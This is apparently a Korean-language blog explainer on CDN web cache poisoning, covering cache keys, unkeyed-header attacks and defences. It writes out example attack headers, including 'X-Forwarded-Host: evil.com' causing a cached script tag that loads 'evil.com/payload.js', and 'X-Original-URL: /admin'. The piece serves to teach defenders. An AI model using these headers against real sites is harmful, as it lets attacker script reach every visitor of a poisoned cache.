캐시 포이즈닝은 그 캐시가 모든 사람 앞에 놓여 있을 때 훨씬 흥미로워진다.
CDN 캐시 포이즈닝이 그토록 고약한 버그인 이유가 그거다. 브라우저 하나, 프록시 하나를 속이는 게 아니다. 여러 사람이 함께 쓰는 엣지 계층이 공격자가 조작한 입력으로 만들어진 응답을 저장하고, 같은 캐시 키로 들어오는 모든 방문자에게 그 오염된 응답을 다시 틀어 주게 만드는 것이다.
이상한 요청 하나. 부수 피해는 한가득.
CDN이 하고 있다고 믿는 일
CDN은 응답을 캐시해서 같은 걸 매번 오리진에 묻지 않는다. 페이지는 빨라지고, 오리진 부하는 줄고, 운영자는 행복하다. 요청이 들어오면 CDN은 캐시 키를 계산한다. 보통 URL 경로와 쿼리 스트링, 경우에 따라 헤더 몇 개로 만든다. 그 키로 캐시된 응답이 있으면 캐시에서 내준다. 없으면 오리진에 넘기고, 받은 응답을 캐시하고, 내준다.
보안상의 가정은 이렇다. 캐시 키가 같은 두 요청은 같은 응답을 받아야 한다.
공격은 이렇다. 오리진은 응답을 만들 때 쓰지만 CDN은 캐시 키에 넣지 않는 입력을 찾는다. 그 입력을 조작한다. 오리진이 오염된 응답을 돌려준다. CDN은 그걸 평범한 캐시 키 아래 저장한다. 나머지 모두가 오염된 버전을 받는다.
캐시 키가 전부다
캐시 키는 CDN이 정의하는 “같은 요청”이다. 두 요청의 캐시 키가 같으면 CDN은 둘을 서로 바꿔 써도 되는 것으로 본다. 첫 번째 요청이 무엇을 받았든, 두 번째 요청은 그걸 캐시에서 받는다.
일반적인 캐시 키에는 URL 경로와 쿼리 스트링이 들어간다. HTTP 헤더는 대부분 들어가지 않는다. 틈은 바로 여기 있다.
오리진 서버는 응답을 어떻게 만들지 정할 때 어떤 헤더를 쓸 수 있다. CDN은 그 헤더를 캐시 키에 넣지 않을 수 있다. 그런 헤더를 “키에 없는(unkeyed)” 헤더라고 한다. 응답 내용에는 영향을 주지만, 그 응답이 어느 캐시 항목에 저장될지에는 영향을 주지 않는다.
키에 없는 헤더 공격
제임스 케틀(James Kettle)의 웹 캐시 포이즈닝 연구(2018년 Black Hat에서 발표, 이후 계속 확장)가 이 패턴을 선명하게 보여 줬다.
X-Forwarded-Host를 보자. 어떤 오리진 서버는 이 헤더로 응답 속 절대 URL을 만든다. 리다이렉트, canonical 태그, 리소스 링크, OpenGraph 메타데이터 같은 것들이다. CDN이나 프록시가 이 헤더를 제대로 채워 줄 거라 믿기 때문이다.
공격자가 X-Forwarded-Host: evil.com을 넣어 요청을 보낸다. 오리진은 <link rel="canonical" href="https://evil.com/page">나, 더 나쁘게는 <script src="https://evil.com/payload.js">가 들어간 응답을 만든다. CDN은 X-Forwarded-Host가 URL의 일부가 아니니 캐시 키에 넣지 않는다. 그래서 이 오염된 응답이 /page의 평범한 캐시 키 아래 저장된다.
이후 /page를 요청하는 모든 방문자가 캐시된 버전을, 공격자가 심은 내용째로 받는다. 공격자의 요청은 이미 오래전에 사라졌다. 독은 캐시 안에 산다.
변주
X-Forwarded-Host 공격이 고전적인 예지만, 이 패턴은 키에 없는 모든 입력에 통한다.
X-Original-URL / X-Rewrite-URL. 이 헤더로 요청 경로를 덮어쓰게 해 주는 웹 프레임워크가 있었다. 예전 Symfony와 Zend Framework가 그랬고, 케틀의 연구 뒤 2018년에 둘 다 패치됐다. /harmless를 요청하면서 X-Original-URL: /admin을 붙이면, 오리진은 관리자 페이지를 처리하고 CDN은 그 결과를 /harmless 아래 캐시할 수 있다.
쿼리 파라미터 오염. 어떤 CDN은 캐시 키를 만들 때 특정 쿼리 파라미터를 정규화하거나 무시한다. 오리진이 그 무시되는 파라미터를 쓴다면, 그 파라미터로 내용을 주입할 수 있다.
Host 헤더 조작. 오리진이 Host 헤더로 URL을 만들고 CDN이 그 값을 실제 요청과 대조하지 않으면, 캐시된 응답에 아무 호스트 이름이나 끼워 넣을 수 있다.
Accept-Language나 Cookie에 따라 달라지는 응답. CDN이 키로 쓰지 않는 헤더에 따라 오리진이 다른 내용을 돌려준다면, 한 상황을 위한 응답을 캐시해 모두에게 내보내게 만들 수 있다.
왜 막기 어려운가
근본 원인은 CDN이 생각하는 “같은 요청”과 오리진이 생각하는 “같은 요청”이 어긋나는 데 있다. 응답에 영향을 주면서 캐시 키에는 없는 입력은 모두 잠재적인 공격 표면이다.
고치려면 오리진이 응답을 만들 때 쓰는 입력을 전부 알아야 한다. 현실에서는 어렵다.
- 프레임워크가 내가 설정하지 않은 헤더를 읽는다
- 미들웨어가 내가 모르던 헤더에서 맥락을 끌어온다
- 서드파티 코드가 분석이나 라우팅용으로 헤더를 읽는다
- CDN 문서가 캐시 키 동작을 완전히 설명하지 않는다
공격 표면은 CDN의 캐시 키와 오리진의 응답 생성 로직 사이의 틈이다. 그리고 그 틈은 양쪽 어디에도 문서화돼 있지 않은 경우가 많다.
방어
응답에 영향을 주는 입력은 전부 캐시 키에 넣는다. 오리진이 X-Forwarded-Host로 URL을 만든다면 CDN은 그걸 캐시 키에 넣어야 한다. 응답이 Accept-Language에 따라 달라진다면 그것도 키에 넣어야 한다. Vary 헤더가 원래 이 용도다. Vary: X-Forwarded-Host는 캐시에게 이 응답이 그 헤더에 따라 달라진다고 알려 준다. 하지만 내 CDN이 이걸 실제로 어떻게 다루는지 확인해야 한다. CDN들은 Vary를 제각각 다뤄 왔다. 따로 켜지 않으면 Accept-Encoding 말고는 무시하는 곳도 있었고, 그런 응답은 아예 캐시하지 않는 곳도 있었다. 확실한 방법은 CDN 설정에서 캐시 키 자체를 지정하는 것이다.
오리진에서 전달 헤더를 믿지 않는다. 오리진이 X-Forwarded-Host를 쓴다면 허용 목록과 대조한다. HTML에 그대로 되비추지 않는다.
CDN 엣지에서 모르는 헤더는 걷어 낸다. 오리진에 필요 없는 헤더는 지운다. X-Original-URL이 오리진에 닿지 않으면 응답에 영향을 줄 수도 없다.
방어적으로 캐시한다. 사용자가 조작할 수 있는 내용이 본문에 들어가는 응답은 캐시하지 않는다. 요청 헤더에서 나온 데이터가 응답에 들어간다면, 그 헤더를 키에 넣거나 아예 캐시하지 않는다.
포이즈닝을 감시한다. 캐시된 응답을 기대한 출력과 비교한다. 캐시된 페이지에 내 것이 아닌 도메인이 갑자기 들어 있다면, 캐시가 오염된 것이다.
불편한 진실
CDN 사용자 대부분은 캐시 키 설정을 점검하지 않는다. 캐싱을 켜고, 기본값을 받아들이고, 보안은 CDN이 알아서 하겠거니 한다. CDN은 오리진이 알아서 하겠거니 한다. 그 사이의 틈은 아무도 점검하지 않는다.
캐시 포이즈닝이 교묘한 건 오염된 응답이 멀쩡해 보이기 때문이다. CDN에서 나왔고, 캐시 헤더도 맞고, URL도 맞다. 다른 건 내용뿐이다. 그리고 심어진 게 스크립트 태그나 리다이렉트라면, 방문자는 너무 늦을 때까지 알아차리지 못한다.
CDN은 성능 계층만이 아니다. 공격 표면이다. 캐시한 것을 아무것도 묻지 않고 모두에게 내주는.